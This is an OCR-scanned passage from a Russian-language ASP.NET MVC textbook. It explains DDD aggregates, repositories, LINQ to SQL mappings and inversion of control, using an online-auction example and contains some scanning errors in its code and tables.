Давайте еще раз взглянем на диаграмму примера с онлайновым аукционом (см. рис. 3.4). В том виде, как она есть, она не слишком помогает в реализации на C# и SQL Server. При загрузке участника в память следует ли также загружать все его заявки и все предметы, ассоциированные с этими заявками, а также прочие заявки на те же предметы вместе со всеми подавшими заявку на них участниками? При удалении чего-либо насколько глубоко должно распространяться удаление по графу объектов? При желании определить правила достоверности, включающие отношения между объектами, куда следует поместить эти правила? И это лишь тривиальный пример — насколько же все может оказаться сложнее в реальном мире?
Предлагаемый DDD способ преодоления этой сложности состоит в распределении сущностей предметной области по группам, именуемым агрегатами. На рис. 3.5 показано, как это можно сделать в примере с аукционом.
Member
+LoginName +ReputationPoints
V-.
Item
+ltemlD
+Title
+Description	i
+AuctionEndDate	j
+AddBid(in member, in amount) 1
।
Bid	I
+DatePlaced
+BidAmount	|
~	~~~	i
i———------_J	।
Рис. 3.5. Модель предметной области аукциона с агрегатами
Глава 3. Предварительные условия 63
Каждый агрегат имеет корневую сущность, которая определяет идентичность всего агрегата и действует как “босс” агрегата в целях проверки достоверности и постоянного хранения. Когда речь идет об изменении данных, агрегат представляет собой единый модуль, поэтому выбирайте агрегаты, которые связаны логически с реальными бизнес-процессами, т.е. наборы объектов, которые имеют тенденцию изменяться группами (тем самым углубляя описание модели предметной области).
Объекты вне определенного агрегата могут хранить только постоянные ссылки на корневую сущность, но не на любой другой объект внутри агрегата (фактически значения идентификаторов для некорневых сущностей даже не обязаны быть уникальными за пределами контекста их агрегата). Это правило заставляет трактовать агрегаты как атомарные узлы и гарантирует, что изменения внутри агрегата не станут причиной повреждения данных где-либо еще.
В данном примере “участники” и “предметы" являются корневыми сущностями агрегатов, так как они должны быть доступны независимо друг от друга, тогда как “заявки” интересуют нас лишь в контексте “предмета”. Заявки могут содержать ссылки на участников, но участники не имеют прямых ссылок на заявки, потому что иначе зто нарушило бы границы агрегата предмета торгов. Сохранение отношений однонаправленными, насколько это возможно, приводит к существенному упрощению модели предметной области и может дать дополнительное представление о предметной области. Если вы привыкли воспринимать схему базы данных SQL как модель предметной области, то это может показаться незнакомым (учитывая, что все отношения в базе данных SQL являются двунаправленными), но C# может моделировать более широкий диапазон концепций.
Представление нашей модели предметной области в ее нынешнем виде, выраженное на С#, выглядит так:
public class Member
(
public string LoginName { get; set; }	// Уникальный ключ
public int ReputationPoints ( get; set; }
}
public class Item
{
public int ItemID ( get; private set; }	// Уникальный ключ
public string Title { get; set; }
public string Description ( get; set; }
public DateTime AuctionEndDate ( get; set; } public IList<Bid> Bids { get; private set; }
}
public class Bid
(
public Member Member { get; private set; }
public DateTime DatePlaced { get; private set; }
public decimal BidAmount { get; private set; }
}
Обратите внимание, что класс Bid неизменен (что свойственно настоящим объектам значений)4, а свойства других классов надлежащим образом защищены. Эти классы соблюдают границы агрегатов в том, что никакие ссылки не пересекают их.
При желании можно переопределить операцию эквивалентности и трактовать два экземпляра как равные, когда равны все их атрибуты, но в рассматриваемом примере это не обязательно.
64 Часть I. Введение в ASP.NET MVC
На заметку! В известном смысле структура (struct) в C# неизменна (в противоположность классу (class)), поскольку каждое присваивание создает новый экземпляр, поэтому мутации не затрагивают других экземпляров. Однако для объекта-значения предметной области это не всегда та неизменность, которая нужна; часто требуется предотвратить любые изменения любых экземпляров (после точки их создания), а это означает, что все их поля должны быть доступны только для чтения. В этом случае класс столь же хорош, как и структура, кроме того, класс еще и предоставляет ряд преимуществ (например, поддерживает наследование).
Ценность определения агрегатов
Агрегаты привносят в сложную модель предметной области некую суперструктуру, добавляя новый уровень управляемости. Это облегчает определение и соблюдение правил целостности данных (корень агрегата может контролировать состояние всего агрегата). Они предоставляют естественную единицу хранения, что позволяет легко решить, какую часть графа объектов загружать в память (возможно, используя отложенную загрузку ссылок на корни других агрегатов). Они также служат естественной единицей каскадного удаления. И поскольку изменения данных являются атомарными в пределах агрегата, он представляет собой естественную единицу для транзакций.
С другой стороны, агрегаты накладывают ограничения, которые иногда могут показаться искусственными — каковыми они и являются — и нарушение их болезненно. Они не являются “родной” концепцией для SQL Server, как и для большинства инструментов ORM, поэтому для правильной их реализации команде потребуется дисциплина и эффективное общение.
Сохранение кода доступа к данным в репозиториях
Рано или поздно вам придется подумать о помещении и извлечении объектов предметной области в некоторого рода постоянное хранилище — обычно в реляционную базу данных. Разумеется, эта ответственность возлагается на современные программные технологии и не является частью моделируемой предметной области. Постоянство — независимая ответственность (настоящие архитекторы употребляют термин ортогональная ответственность — это звучит более веско), поэтому вы не должны смешивать код, обслуживающий постоянное хранение, с кодом модели предметной области; не должны встраивать код доступа к базе данных непосредственно в методы сущностей предметной области; и не должны помещать код загрузки или запросов в статические методы тех же классов.
Обычный способ обеспечить чистоту такого разделения состоит в определении репозиториев. Это ни что иное, как объектно-ориентированное представление лежащего в основе хранилища — реляционной базы данных (или файлового хранилища), данных, доступных через веб-службу, и т.п., — служащее фасадом для реальной реализации. При работе с агрегатами вполне нормально определять отдельный репозиторий для каждого агрегата, потому что агрегаты являются естественными единицами логики постоянного хранения. Например, продолжая пример с аукционом, можно определить следующие два репозитория (обратите внимание, что в BidsRepos itory необходимости нет, так как заявки должны находиться только по ссылкам от экземпляров предметов):
public class MembersRepository
{
public void AddMember(Member member) { /* Реализовать */ }
public Member FetchByLoginName(string loginName) { /* Реализовать */ } public void SubmitChanges() { /* Реализовать */ }
}
Глава 3. Предварительные условия 65
public class ItemsRepository {
public void Additem(Item item) { /* Реализовать */ }
public Item FetchBylD(int itemID) { /* Реализовать */ }
public IList<Item>
Listitems(int pageSize,int pagelndex) { /* Реализовать */ ) public void SubmitChanges () { /* Реализовать */ }
}
Обратите внимание, что репозитории связаны только с загрузкой и сохранением данных и содержат минимально возможный объем логики. В этой точке можно заполнить кодом каждый метод репозитория, используя выбранную стратегию доступа к данным. Можно было бы вызывать хранимые процедуры, но в этом примере будет показано, как облегчить решение задачи за счет применения инструмента ORM (LINQ to SQL).
Мы будем исходить из того, что репозитории смогут самостоятельно определять, какие изменения они должны сохранять при вызове SubmitChanges () (запоминая, что было сделано над ранее возвращенными сущностями — LINQ to SQL и NHibemate легко справляются с этим). Взамен можно было бы передавать специфические обновленные сущности, скажем, методу SaveMember (member), если зто выглядит проще для выбранного способа доступа к данным.
И, наконец, получить максимум дополнительных преимуществ от репозиториев можно, определив их абстрактно (т.е. в виде интерфейсов .NET) и обращаясь к ним через шаблон Abstract Factory (абстрактная фабрика) либо через контейнер Inversion of Control (1оС) (инверсия управления). Это облегчит тестирование кода, зависящего от постоянного хранения: можно будет просто подставлять фиктивные или имитированные реализации, которые эмулируют любое необходимое состояние модели предметной области. Также упростится замена одной реализации репозиториев другими, если позднее будет принято решение перейти на другую базу данных или другой инструмент ORM. Примеры применения 1оС с репозиториями будут приведены далее в этой главе.
Использование LINQ to SQL
LINQ to SQL был представлен Microsoft как часть .NET 3.5 в 2007 г. Назначение этого инструмента в том, чтобы предоставить строго типизированное .NET-представление схемы базы данных и содержащейся в ней информации. В результате значительно сокращается объем кода, который приходится писать в распространенных сценариях доступа к данным, и отпадает необходимость создания и сопровождения хранимых процедур для каждого типа запросов, которые нужно выполнять в приложении. Несмотря на то что этот инструмент ORM пока еще не настолько зрел и развит, как его конкуренты вроде NHibemate, он иногда проще в применении, учитывая полную поддержку технологии LINQ и исчерпывающую документацию.
На заметку! В последние месяцы многие комментаторы выражают опасение по поводу того, что Microsoft может объявить LINQ to SQL устаревшим в пользу Entity Framework. Однако ходят слухи, что LINQ to SQL будет включен и получит новое развитие в .NET 4.0, потому зти страхи, по крайней мере, отчасти, не обоснованы. Поскольку ASP.NET MVC не зависит от LINQ to SQL, вы вольны применять вместо него альтернативные ORM (например, популярный NHibemate).
В большинстве демонстраций LINQ to SQL используется в качестве инструмента быстрого прототипирования. Начните с существующей схемы базы данных и в редакторе Visual Studio перетащите таблицы и хранимые процедуры на полотно.
66 Часть I. Введение в ASP.NET MVC
Инструмент LINQ to SQL автоматически сгенерирует соответствующие классы и методы сущностей. Затем внутри кода C# с помощью запросов LINQ можно извлекать экземпляры этих сущностей из контекста данных (он преобразует запросы LINQ в SQL во время выполнения), модифицировать их в коде С#, а затем вызвать SubmitChanges () для записи изменений обратно в базу данных.
Это блестяще подходит для приложений Smart UI, но для многоуровневых архитектур существуют ограничения. Начиная со схемы базы данных, а не с объектно-ориентированной модели предметной области, вы тем самым отказываетесь от ясного дизайна модели предметной области.
Что такое DataContext?
Объект контекста данных DataContext — зто точка входа в API-интерфейс LINQ to SQL Ему известно, как загружать, сохранять и запрашивать любой тип .NET, который имеет отображение в LINQ to SQL (и который можно добавлять вручную или с помощью визуального конструктора). После загрузки объекта из базы данных DataContext отслеживает любые изменения, проводимые в свойствах этого объекта. Сохранить зти изменения обратно в базу данных можно, вызывая его метод SubmitChanges О . Это легковесный объект (т.е. недорогой в конструировании); он может управлять собственным подключением к базе данных, открывая и закрывая его по мере необходимости; и он даже не требует помнить об обязательном его закрытии или уничтожении.
Существует много разных способов применения LINQ to SQL, и некоторые из них перечислены в табл. 3.1.
Таблица 3.1. Возможные способы применения LINQ to SQL
Подход к проектированию	Рабочий поток	Преимущества	Недостатки
Сначала схема, затем генерация кода	С помощью графического конструктора LINQ to SQL перетащите на полотно таблицы и хранимые процедуры и позвольте UNO to SQL сгенерировать классы и объекты контекста данных из существующей схемы базы данных.	Это удобно, если вам нравится проектировать схемы в SQL Server Management Studio. He требует конфигурации отображения.	Вы получаете плохо инкапсулированную модель предметной области, которая открывает устройство постоянного хранения всем (например, по умолчанию показываются все идентификаторы базы данных, и все отношения являются двунаправленными).
			В настоящее время отсутствует поддержка обновления схемы базы данных. Единственный способ обновления состоит в удалении классов LINQ to SQL и создании их заново с потерей всех изменений, касающихся доступности полей или направления отношений.
Глава 3. Предварительные условия 67
Окончание табл. 3.1
Подход к проектированию	Рабочий поток	Преимущества	Недостатки
Сначала код, затем генерация схемы	Создайте ясную объектно-ориентированную модель предметной области и определите интерфейсы для ее репозиториев (в этот момент можете написать модульные тесты). Затем сконфигурируйте отображения LINQ to SQL, либо добавив специальные атрибуты к классам предметной области, либо подготовив конфигурационный файл XML. Сгенерируйте соответствующую схему базы данных, вызвав yourDataContext. CreateDatabase (). Реализуйте конкретные репозитории, написав запросы к объекту DataContext.	Вы получаете ясную объектно-ориентированную модель с правильным разделением ответственности.	Отображения приходится создавать вручную. Не существует встроенного метода обновления схемы базы данных в процессе. После каждого изменения схемы необходимо удалять базу данных и генерировать новую, теряя все данные*. Подобным образом могут быть сгенерированы не все аспекты базы данных SQL (например, триггеры).
Сначала код, затем ручное создание схемы	Следуйте подходу “сначала код, затем генерация схемы”, но не вызывайте yourDataContext. CreateDatabase (). Вместо этого создайте вручную соответствующую схему базы данных.	Вы получаете ясную объектно-ориентированную модель с правильным разделением ответственности.	Отображения приходится создавать вручную. Синхронизация отображений и схемы базы данных также должна производиться вручную.
Очевидные способы обновления схемы базы данных в процессе.
Две модели	Создайте ясную объектно-ориен-	Вы получаете	Понадобится писать дополни-
предметной	тированную модель предметной	ясную объектно-	тельный код для преобразования
области	области и соответствующую ей схему базы данных. С помощью графического конструктора LINQ to SQL перетащите на полотно таблицы базы данных, сгенерируйте второй независимый набор классов сущностей предметной области в другом пространстве имен, и пометьте их все как internal, В реализациях репозиториев запросите сущности LINQ to SQL и затем вручную преобразуйте результаты в экземпляры из модели предметной области.	ориентированную модель с правильным разделением ответственности. Не требуется применение атрибутов отображения LINQ to SQL или конфигурации XML.	между двумя моделями предметной области. Нельзя использовать средство отслеживания изменений UNO to SQL: любые изменения в чистой модели предметной области необходимо вручную реплицировать в модель предметной области LINQ to SQL. Как и при подходе “сначала схема, затем генерация кода", в случае любых изменениях схемы базы данных все дополнительные специальные настройки конфигурации LINQ to SQL теряются.
В качестве альтернативы можно пользоваться инструментами сравнения/синхронизации схем баз данных от независимых поставщиков.
68 Часть I. Введение в ASP.NET MVC
Тщательно взвесив все “за” и “против”, предпочтение (в нетривиальных приложениях) отдается подходу “сначала код, затем ручное создание схемы”. Он не особенно автоматизирован, однако после некоторого привыкания не требует много работы. Далее будет показано, как с помощью этого подхода можно построить модель предметной области и соответствующие репозитории для примера с аукционом.
Реализация модели предметной области для примера с аукционом
С помощью LINQ to SQL можно устанавливать отображения между классами C# и схемой базы данных, либо декорируя классы специальными атрибутами, либо создавая конфигурационный файл XML. Преимущество варианта с файлом XML состоит в том, что артефакты постоянного хранения полностью удаляются из классов предметной области5, а недостаток — что это не слишком очевидно на первый взгляд. Для простоты пойдем на компромисс и воспользуемся атрибутами.
Ниже приведен код классов модели предметной области, полностью помеченных для LINQ to SQL6:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Data.Linq.Mapping;
using System.Data.Linq;
[Table(Name="Members")] public class Member
{
[Column(IsPrimaryKey=true, IsDbGenerated=true, AutoSync=AutoSync.OnInsert)] internal int MemberID { get; set; }
[Column] public string LoginName { get; set; }
[Column] public int ReputationPoints { get; set; }
}
[Table(Name = "Items")] public class Item
{
[Column(IsPrimaryKey=true, IsDbGenerated=true, AutoSync=AutoSync.OnInsert)] public int ItemID { get; internal set; }
[Column] public string Title { get; set; }
[Column] public string Description { get; set; }
[Column] public DateTime AuctionEndDate { get; set; }
[Association(OtherKey = "ItemID")]
private EntitySet<Bid> _bids = new EntitySet<Bid>();
public IList<Bid> Bids { get { return _bids.ToList().AsReadOnly() ; } }
}
[Table(Name = "Bids")] public class Bid
{
[Column(IsPrimaryKey=true, IsDbGenerated=true, AutoSync=AutoSync.OnInsert)] internal int BidID { get; set; }
[Column] internal int ItemID { get; set; }
[Column] public DateTime DatePlaced { get; internal set; }
[Column] public decimal BidAmount { get; internal set; }
[Column] internal int MemberlD { get; set; }
internal EntityRef<Member> _member;
[Association(ThisKey = "MemberlD", Storage = "_member")]
5 Многие практики DDD стремятся избавить сущности предметной области от любых упоминаний постоянного хранения (например, базы данных). Цель можно сформулировать как игнорирование постоянства — еще один пример разделения ответственности.
6 Чтобы код компилировался, проект должен иметь ссылку на System. Data. Linq. dll.
Глава 3. Предварительные условия 69
public Member Member {
get { return member.Entity; }
internal set { _member.Entity = value; MemberlD = value.MemberlD; }
)
Ниже приведено несколько замечаний по этому коду.
•	В некоторой степени нарушается чистота объектно-ориентированной модели предметной области. В идеальном мире артефакты LINQ to SQL не должны появляться в коде модели предметной области, потому что LINQ to SQL не является средством самой предметной области. Имеются в виду не атрибуты (например, [Col umn]), поскольку они больше похожи на метаданные, чем на код. Для сохранения ассоциаций между сущностями нужно также использовать EntityRef<T> и EntitySet<T> — специальный способ, которым LINQ to SQL описывает ссылки между сущностями, поддерживающими отложенную загрузку (т.е. извлечение ссылаемых сущностей из базы данных только по необходимости).
•	В LINQ to SQL каждый объект предметной области должен быть сущностью с первичным ключом. Это значит, что значения идентификаторов требуются для всего, даже для Bid, которому идентификатор вообще-то не нужен. Таким образом. Bid является объектом значения только в том смысле, что он неизменен. Аналогично, в объектной модели любой внешний ключ в базе данных должен отображаться на [Column], поэтому к Bid потребуется добавить ItemID и MemberlD. К счастью, такие значения идентификаторов можно пометить как internal, чтобы они не были видны извне уровня модели.
•	Вместо использования Member. LoginName в качестве первичного ключа был добавлен новый искусственный первичный ключ (MemberlD). Он пригодится, если вдруг придется менять регистрационные имена. Опять-таки, он может быть помечен как internal, поскольку для остальной части приложения он не важен.
•	Коллекция Item.Bids возвращает список в режиме только для чтения. Это жизненно важно для правильной инкапсуляции. Оно гарантирует, что любые изменения в коллекции Bids производятся через код модели предметной области, который обеспечивает соблюдение определенных бизнес-правил.
•	Несмотря на то что в этих классах не определено никакой логики предметной области (это просто контейнеры данных), они по-прежнему являются подходящим местом для ее размещения (например, метод AddBid () в Item). Просто пока этой логики не было.
Если требуется, чтобы система создавала соответствующую схему базы данных автоматически, можете организовать это, добавив несколько строк кода:
DataContext de = new DataContext(connectionstring); // Получить актуальный
// DataContext
de.GetTable<Member>(); // de будет отвечать за хранение объектов класса Member dc.Get‘i’able<Item> () ; // de будет отвечать за хранение объектов класса Item dc.GetTable<Bid>(); // de будет отвечать за хранение объектов класса Bid de.CreateDatabase () ;	// de будет издавать команды CREATE TABLE для каждого класса
Помните, однако, что любые будущие изменения схемы придется выполнять вручную, потому что CreateDatabase () не может обновить существующую базу данных. В качестве альтернативы можно просто создать схему вручную с самого начала. В любом случае, как только соответствующую схему базы данных создана, появится возможность создавать, обновлять и удалять сущности с использованием синтаксиса LINQ и методов класса System.Data.Linq.DataContext.
70 Часть I. Введение в ASP.NET MVC
Ниже приведен пример конструирования и сохранения новой сущности:
DataContext de = new DataContext(connectionstring);
de.GetTable<Member>().InsertOnSubmit(new Member {
LoginName = "Steve", ReputationPoints = 0 }) ;
de.SubmitChanges() ;
А вот пример извлечения списка сущностей в определенном порядке:
DataContext de = new DataContext(connectionstring) ;
var members = from m in de.GetTable<Member>()
orderby m.ReputationPoints descending select m;
foreach (Member m in members)
Console.WriteLine("Name: {0}, Points: {1}", m.LoginName, m.ReputationPoints) ;
Далее в главе вы получите больше сведений о внутреннем устройстве запросов LINQ и новых средствах языка С#, которые поддерживают их. А пока вместо того, чтобы разбрасывать код доступа к данным по всему приложению, давайте реализуем некоторые репозитории.
Реализация репозиториев для примера с аукционом
Теперь, когда отображения LINQ to SQL настроены, предоставить полную реализацию упомянутых ранее репозиториев достаточно просто:
public class MembersRepository
{
private Table<Member> membersTable;
public MembersRepository(string connectionstring) {
membersTable = new DataContext(connectionstring).GetTable<Member>(); }
public void AddMember(Member member) {
membersTable.InsertOnSubmit(member);
}
public void SubmitChanges() {
membersTable.Context.SubmitChanges();
}
public Member FetchByLoginName(string loginName) {
// Если этот синтаксис не знаком, обратитесь к
// объяснению лямбда-методов в конце главы.
return membersTable.FirstOrDefault(m => m.LoginName == loginName);
}
}
public class ItemsRepository
{
private Table<Item> itemsTable;
public ItemsRepository(string connectionstring) {
DataContext de = new DataContext(connectionstring); itemsTable = de.GetTable<Item>();
}
Глава 3. Предварительные условия 71
public IList<Item> Listitems(int pageSize, int pagelndex) (
return itemsTable.Skip(pageSize * pagelndex)
.Take(pageSize).ToList();
)
public void SubmitChanges()
{
itemsTable.Context.SubmitChanges();
)
public void Additem(Item item)
(
itemsTable.InsertOnSubmit(item);
}
public Item FetchBylD(int itemID) {
return itemsTable.FirstOrDefault(i => i.ItemID == itemID);
}
)
Обратите внимание, что эти репозитории принимают в качестве параметра конструктора строку соединения и затем создают собственный объект DataContext. Этот шаблон “по контексту на каждый репозиторий” означает, что экземпляры репозитория не будут взаимодействовать друг с другом, нечаянно сохраняя чужие изменения, либо откатывая их. Передача строки соединения в качестве параметра конструктора очень хорошо работает с контейнером 1оС; далее в этой главе будет показано, как задать параметры конструктора в конфигурационном файле.
Теперь взаимодействовать с хранилищем данных можно через репозиторий:
ItemsRepository itemsRep = new ItemsRepository(connectionstring) ;
itemsRep.Additem(new Item
(
Title = "Private Jet",
AuctionEndDate = new DateTime(2012, 1, 1),
Description = "Ваш шанс иметь собственный самолет."
));
itemsRep.SubmitChanges() ;
Построение слабо связанных компонентов
Уровни являются распространенной метафорой для архитектуры программного обеспечения (рис. 3.6).
Рис. 3.6. Многоуровневая архитектура
72 Часть I. Введение в ASP.NET MVC
В этой архитектуре каждый уровень зависит только от уровней, расположенных ниже — в том смысле, что каждый их них знает о существовании и может иметь доступ только к коду на своем уровне и уровнях, расположенных ниже. Обычно верхним уровнем является пользовательский интерфейс, средние уровни обрабатывают концепции предметной области, а нижние уровни обеспечивают постоянство данных и прочие общие службы. Ключевое преимущество такой архитектуры заключается в том, что при разработке кода каждого уровня можно забыть о реализации других уровней и думать только об API-интерфейсс, который предоставляется выше. Это позволяет справиться со сложностью, характерной для крупной системы.
Метафора “слоеного пирога” удобна, но есть и другие способы мышления при проектировании программного обеспечения. Рассмотрим альтернативу, в которой программные части представляются в виде компонентов печатной платы (рис. 3.7).
Рис. 3.7. Пример применения метафоры печатной платы для программных компонентов
Компонентно-ориентированный подход к проектированию немного более гибок, чем многоуровневый подход. В соответствии с этим образом мышления, мы не указываем местоположение каждого компонента в “пироге”, а вместо этого подчеркиваем самодостаточность каждого компонента и взаимодействие его с другими только по четко определенным интерфейсам.
Компоненты никогда не делают никаких предположений относительно внутреннего устройства другого компонента: они рассматривают каждый компонент как черный ящик, который четко выполняет один или более публичных контрактов (примером могут служить интерфейсы .NET), подобно тому, как микросхемы на печатной плате не знают внутреннее устройство друг друга, соединяются между собой с помощью стандартных разъемов и шин. Чтобы предотвратить нежелательные сильные связи, каждый программный компонент вообще не должен знать о существовании других конкретных компонентов; он должен знать только интерфейс, выражающий функциональность, но ничего — о внутреннем устройстве. Это нечто большее, чем инкапсуляция; это слабая связь.
Рассмотрим очевидный пример. Предположим, что задача связана с отправкой сообщения по электронной почте. Первым делом, вы создаете компонент “отправитель электронной почты” с абстрактным интерфейсом. Затем вы присоединяете его к модели предметной области либо к другому служебному компоненту (не беспокоясь о том, где именно в стеке он находится). После этого можно будет легко подготовить тесты модели предметной области, используя макетную реализацию интерфейса отправителя электронной почты, а в будущем заменить реализацию отправителя другой, если изменится инфраструктура SMTP
Глава 3. Предварительные условия 73
Репозитории — это просто другой тип служебных компонентов, так что наличие специального уровня “доступа к данным”, в котором бы они содержались, не требуется. Не имеет значения, как: компонент-репозиторий выполняет запросы на загрузку, сохранение или опрос данных — он просто должен реализовывать некоторый интерфейс, описывающий доступные операции. С точки зрения потребителя любая другая реализация того же контракта столь же хороша, независимо от того, хранит она данные в базе, в двумерных файлах, получает их через веб-службы или как-то еще. Взаимодействие через абстрактные интерфейсы вновь возрождает разделение компонентов — не только технически, но также в сознании разработчиков, реализующих их средства.
Стремление к сбалансированному подходу
Компонентно-ориентированный подход к проектированию не исключает многоуровневого решения (можете сохранять многоуровневую структуру графа компонентов, если это помогает), и не все должно представлять абстрактный интерфейс — например, это не должен делать пользовательский интерфейс, поскольку от него уже ничего не будет зависеть. Аналогично, в небольших приложениях ASP.NET MVC, при наличии достаточной логики в модели предметной области для обеспечения сопровождения всех интерфейсов, можно не выделять контроллеры из модели предметной области. Однако почти наверняка получится выигрыш от инкапсуляции кода доступа к данным и служб внутри абстрактных компонентов.
Применяйте гибкий подход; выбирайте то, что лучше всего работает в каждом конкретном случае. Помните, что в отличие от простого многоуровневого дизайна, в котором каждый уровень тесно связан с одной, и только одной конкретной реализацией каждого нижележащего уровня, разбиение на компоненты стимулирует инкапсуляцию и проектирование по контрактам кусочка за кусочком, что ведет к более простым и тестируемым решениям.
Использование инверсии управления
Компонентно-ориентированное проектирование тесно связано с 1оС. Инверсия управления — 1оС — это шаблон проектирования программного обеспечения, который помогает отделять компоненты приложения друг от друга. С 1оС связана одна проблема — название7. Оно выглядит подобно "магическому заклинанию”, заставляя разработчиков думать, что это нечто сложное, загадочное и непостижимое. На самом деле все не так. Это простая, реальная и действительно полезная вещь. Конечно, поначалу она может показаться непонятной, поэтому давайте рассмотрим несколько примеров.
Предположим, что имеется класс PasswordResetHelper, который должен отправлять электронную почту и производить запись в журнальный файл. Без 1оС можно было бы позволить ему конструировать конкретные экземпляры MyEmailSender и MyLogWriter и применять их для непосредственного выполнения работы. Но в таком случае появились бы жестко закодированные зависимости PasswordResetHelper от других двух компонентов, с вплетением их специфических ответственностей и дизайна API-интерфейсов в PasswordResetHelper. После этого проектировать и тестировать PasswordResetHelper в изоляции уже будет нельзя, а переход на другую технологию отправки почты или протоколирования потребует внесения существенных изменений в PasswordResetHelper. Эти три класса окажутся спаянными вместе. И это — начало катастрофы под названием “спагетти-код”.
Другим его распространенным названием является внедрение зависимости (dependency injection — DI), который выглядит менее претенциозно; однако поскольку вариант 1оС при-еняется более широко, будем придерживаться именно его.
74 Часть I. Введение в ASRNET MVC
Шаблон 1оС помогает избежать описанных выше сложностей. Создайте некоторые интерфейсы, описывающие произвольные компоненты отправки электронной почты и протоколирования (например, lEmailSender и IlogWriter), и затем сделайте PasswordResetHelper зависимым только от этих интерфейсов:
public class PasswordResetHelper
{
private lEmailSender _emailSender;
private ILogWriter _logWriter;
// Конструктор
public PasswordResetHelper(lEmailSender emailsender, ILogWriter logwriter) {
// Это код инверсии управления. Конструктор принимает экземпляры
// lEmailSender и ILogWriter, которые сохраняются с целью // дальнейшего использования.
this,_emailSender = emailsender;
this,_logWriter = logwriter;
}
// В остальной части кода используются emailsender и _logWriter
)
Теперь классу PasswordResetHelper не нужно знать ничего ни о конкретном отправителе почты, ни о средстве записи в файл журнала. Он работает только с интерфейсами, которые могут одинаково хорошо описывать любую технологию отправки почты и протоколирования, не вникая в детали каждого из них. Теперь легко переключиться на другую конкретную реализацию (например, для использования другой технологии) или поддерживать сразу несколько реализаций, не изменяя самого PasswordResetHelper. В модульных тестах, как будет показано ниже, можно просто копировать имитированные реализации, которые позволяют выполнить простое тестирование, или же эмулировать определенные внешние условия (например, ошибочные). Слабая связность благополучно достингута.
Название инверсия управления проистекает из того факта, что внешний код (создающий экземпляры PasswordResetHelper) получает возможность управлять тем, какие конкретные реализации зависимостей будут использоваться. Это противоположно нормальной ситуации, при которой сам PasswordResetHelper управлял бы выбором конкретных классов, от которых он будет зависеть.
На заметку! Объект PasswordResetHelper требует предоставления зависимостей через параметры конструктора. Это называется внедрением в конструктор. В качестве альтернативы можно было бы позволить внешнему коду передавать зависимости через общедоступные записываемые свойства; это называется внедрением в установщик.
Пример, специфичный для MVC
Давайте вернемся к примеру с аукционом и применим к нему концепцию 1оС. Нашей целью будет создание класса контроллера AdminController, который использует оснащенный LINQ to SQL класс MemberRepository, но без привязки AdminController к MemberRepository (со всеми его деталями LINQ to SQL и строкой подключения к базе данных).
Начнем с предположения, что вы заставили MemberRepository реализовать общедоступный интерфейс:
Глава 3. Предварительные условия 75
public interface IMembersRepository
{
void AddMember(Member member);
Member FetchByloginName(string loginName); void SubmitChanges();
}
(Разумеется, конкретный класс MemberRepository, который теперь реализует этот интерфейс, по-прежнему существует.) Теперь можно написать класс контроллера ASP.NET MVC, зависящий от интерфейса ImemberRepository:
public class AdminController : Controller
{
IMembersRepository membersRepository;
// Конструктор
public AdminController (IMembersRepository membersRepository)
{
this .membersRepository = membersRepository;
}
public ActionResult ChangeLoginName(string oldLogin, string newLogin) {
Member member = membersRepository.FetchByLoginName(oldLogin); member.LoginName = newLogin;
membersRepository.SubmitChanges();
// . . . визуализировать некоторое представление
}
)
AdminController требует передачи IMembersRepository в качестве параметра конструктора. Теперь AdminController может работать с интерфейсом ImembersRepository, и ему не нужно ничего знать о какой-то конкретной реализации.
Это упрощает AdminController во многих отношениях — во-первых, ему не нужно беспокоиться о строке соединения с базой данных (вспомните, что конкретный класс MemberRepository требует передачи connectionstring в качестве параметра конструктора). Самое большое преимущество состоит в том, что 1оС гарантирует кодирование в соответствии с контрактом (с помощью явных интерфейсов), при этом значительно повышается тестируемость (очень скоро мы создадим автоматизированный тест для ChangeLoginName ()).
Но минуточку! Теперь в стеке вызовов необходимо создать экземпляр MemberRepository и указать connectstring. Так помогает ли на самом деле 1оС, или же просто переносит проблему с одного места в другое? Если есть масса компонентов и зависимостей, и даже цепочек зависимостей с дочерними зависимостями, то как управлять всем этим? Не получится ли конечный результат еще более сложным? На помощь приходит контейнер 1оС.
Использование контейнера инверсии управления
Контейнер инверсии управления (1оС) — это стандартный программный компонент, который поддерживает и упрощает инверсию управления. Он позволяет регистрировать наборы компонентов (например, абстрактные типы и выбранные конкретные реализации) и затем поддерживает создание их экземпляров. Конфитурировать и регистрировать компоненты можно либо в файле XML, либо в коде C# (или применить оба способа).
Вызов во время выполнения метода вроде container . Resolve (Type type) , где type может быть определенным интерфейсом, абстрактным типом или определенным
76 Часть I. Введение в ASP.NET MVC
конкретным типом, заставляет контейнер вернуть объект, удовлетворяющий определению типа, согласно сконфигурированному конкретному типу. Качественный контейнер 1оС добавляет три дополнительных полезных средства.
•	Разрешение цепочки зависимостей. При запросе компонента, который сам имеет зависимости (например, параметры конструктора), контейнер рекурсивно удовлетворит эти зависимости. Это значит, что можно иметь компонент А, который зависит от В, тот, в свою очередь, зависит от С, и т.д. Другими словами, можно просто думать о компонентах, а не об их связях, так как все связи установятся автоматически.
•	Управление временем жизни объекта. Если компонент А запрашивается более одного раза, должен ли каждый раз получаться один и тот же компонент А или же новый экземпляр? Контейнер обычно позволяет сконфигурировать “время жизни” компонента, позволяя выбирать из предопределенных вариантов, включая singleton (одиночка; каждый раз один и тот же экземпляр), transient (изменяемый; каждый раз новый экземпляр), instance-per-thread (экземпляр на поток), instance-from-a-pool (экземпляр из пула) и т.д.
•	Конфигурация значений параметров конструктора. Например, если конструктор MemberRepository требует строки по имени connectionstring (как было ранее), то значение может быть указано в конфигурационном файле XML. Это грубая, но простая система конфигурирования, которая исюлючает любую потребность передавать в коде строки соединений, адреса SMTP-серверов и т.п.
Таким образом, в предыдущем примере понадобится сконфигурировать MembersRepository как активную конкретную реализацию IMembersRepository. Затем, когда код вызовет container.Resolve (typeof (AdminController) ), контейнер определит, что для удовлетворения потребности конструктора AdminController в параметрах ему сначала понадобится реализация IMembersRepository. Он получит ее в соответствии со сконфигурированной конкретной реализацией (в данном случае — MembersRepository), применив сконфигурированную connectionstring. Затем она будет использоваться для создания и возврата экземпляра AdminController.
Знакомство с Castle Windsor
Castle Windsor (Виндзорский замок) — популярный контейнер 1оС с открытым исходным кодом. Он поддерживает все эти средства и хорошо работает в сочетании с ASP.NET MVC. Поэтому когда вы применяете конфигурацию, которая отображает абстрактные типы (интерфейсы) на определенные конкретные типы, и затем кто-то вызывает myWindsorlnstance . Resol ve<ISomeAbstractType> (), он возвращает экземпляр соответствующего конкретного типа, сконфигурированного в данный момент, разрешая все цепочки зависимостей и соблюдая соответствие с настроенным стилем существования компонентов.
